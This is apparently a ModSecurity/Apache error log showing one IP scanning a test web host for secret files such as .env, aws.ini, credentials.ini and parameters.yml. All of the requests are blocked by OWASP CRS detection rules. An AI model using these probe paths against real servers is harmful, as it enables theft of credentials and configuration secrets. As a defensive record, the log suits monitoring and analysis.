[Thu Mar 12 21:45:27.114375 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abMl508nGn4wn25ee5027AAAAAU"]
[Thu Mar 12 21:45:27.114574 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abMl508nGn4wn25ee5027AAAAAU"]
[Thu Mar 12 21:45:27.114714 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abMl508nGn4wn25ee5027AAAAAU"]
[Thu Mar 12 21:45:27.182677 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abMl508nGn4wn25ee5027wAAAAU"]
[Thu Mar 12 21:45:27.183085 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abMl508nGn4wn25ee5027wAAAAU"]
[Thu Mar 12 21:45:27.183248 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/aws.ini"] [unique_id "abMl508nGn4wn25ee5027wAAAAU"]
[Thu Mar 12 21:45:27.573483 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abMl508nGn4wn25ee503AAAAAAU"]
[Thu Mar 12 21:45:27.573703 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abMl508nGn4wn25ee503AAAAAAU"]
[Thu Mar 12 21:45:27.573865 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/parameters.yml"] [unique_id "abMl508nGn4wn25ee503AAAAAAU"]
[Thu Mar 12 21:45:27.665076 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abMl508nGn4wn25ee503BAAAAAU"]
[Thu Mar 12 21:45:27.665492 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abMl508nGn4wn25ee503BAAAAAU"]
[Thu Mar 12 21:45:27.665640 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abMl508nGn4wn25ee503BAAAAAU"]
[Thu Mar 12 21:45:27.710858 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abMl508nGn4wn25ee503BgAAAAU"]
[Thu Mar 12 21:45:27.711280 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abMl508nGn4wn25ee503BgAAAAU"]
[Thu Mar 12 21:45:27.711419 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abMl508nGn4wn25ee503BgAAAAU"]
[Thu Mar 12 21:45:27.871706 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abMl508nGn4wn25ee503DQAAAAU"]
[Thu Mar 12 21:45:27.872249 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abMl508nGn4wn25ee503DQAAAAU"]
[Thu Mar 12 21:45:27.872436 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abMl508nGn4wn25ee503DQAAAAU"]
[Thu Mar 12 21:45:27.942080 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abMl508nGn4wn25ee503EAAAAAU"]
[Thu Mar 12 21:45:27.942376 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abMl508nGn4wn25ee503EAAAAAU"]
[Thu Mar 12 21:45:27.942572 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abMl508nGn4wn25ee503EAAAAAU"]
[Thu Mar 12 21:45:27.965079 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abMl508nGn4wn25ee503EQAAAAU"]
[Thu Mar 12 21:45:27.965375 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abMl508nGn4wn25ee503EQAAAAU"]
[Thu Mar 12 21:45:27.965563 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abMl508nGn4wn25ee503EQAAAAU"]
[Thu Mar 12 21:45:27.988151 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abMl508nGn4wn25ee503EgAAAAU"]
[Thu Mar 12 21:45:27.988438 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abMl508nGn4wn25ee503EgAAAAU"]
[Thu Mar 12 21:45:27.988634 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abMl508nGn4wn25ee503EgAAAAU"]
[Thu Mar 12 21:45:28.011135 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abMl6E8nGn4wn25ee503EwAAAAU"]
[Thu Mar 12 21:45:28.011429 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abMl6E8nGn4wn25ee503EwAAAAU"]
[Thu Mar 12 21:45:28.011638 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abMl6E8nGn4wn25ee503EwAAAAU"]
[Thu Mar 12 21:45:28.057139 2026] [authz_core:error] [pid 2656517] [client 185.177.72.13:41256] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Thu Mar 12 21:45:28.079366 2026] [authz_core:error] [pid 2656517] [client 185.177.72.13:41256] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/env.js
[Thu Mar 12 21:45:28.102188 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /develop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abMl6E8nGn4wn25ee503FwAAAAU"]
[Thu Mar 12 21:45:28.102500 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abMl6E8nGn4wn25ee503FwAAAAU"]
[Thu Mar 12 21:45:28.102699 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abMl6E8nGn4wn25ee503FwAAAAU"]
[Thu Mar 12 21:45:28.125141 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /developer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abMl6E8nGn4wn25ee503GAAAAAU"]
[Thu Mar 12 21:45:28.125434 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abMl6E8nGn4wn25ee503GAAAAAU"]
[Thu Mar 12 21:45:28.125625 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abMl6E8nGn4wn25ee503GAAAAAU"]
[Thu Mar 12 21:45:28.148131 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abMl6E8nGn4wn25ee503GQAAAAU"]
